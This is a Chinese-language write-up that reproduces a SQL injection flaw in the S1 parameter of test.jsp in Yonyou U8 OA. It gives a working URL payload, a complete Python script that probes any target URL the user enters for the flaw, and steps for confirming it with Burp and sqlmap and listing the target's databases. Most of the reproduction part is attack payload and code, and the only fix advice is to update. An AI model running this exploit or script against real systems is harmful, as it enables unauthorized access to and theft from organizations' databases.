警告:本文所涉及内容只可用于交流学习,请勿使用本文提到的内容违反法律,本文和作者不提供任何担保!!!
一、漏洞详情
用友U8 OA test.jsp存在SQL注入,主要是其s1参数未做过滤,导致sql注入,漏洞影响范围为“用友U8OA”。
用友u8OA界面如下
二、漏洞复现
1、初步验证和探测
payload如下
ip:port/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))
在url一栏测试一下,发现回显成功,判定存在sql注入
也可使用以下脚本探测
import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+输入目标url')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(1))"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
if "c4ca4238a0b923820dcc509a6f75849b" in response.text and response.status_code == 200:
print("\033[32m[o] 目标 {}存在漏洞 \n[o] 响应地址: {} \033[0m".format(target_url, vuln_url))
else:
print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
except Exception as e:
print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))
if __name__ == '__main__':
title()
target_url = str(input("Please input Attack Url\n目标Url >>> "))
POC_1(target_url)
脚本探测结果(显示存在此漏洞)
2、使用sqlmap进一步验证
burp抓取数据包,使用sqlmap验证
跑的时间有点长,建议指定数据库 --dbms=数据库类型
本次目标站指定mysql数据库,如下图
经过等待,发现存在sql注入
列出所有数据库,证明到此结束,(可进一步获取数据)
三、修复建议
更新至最新安全版本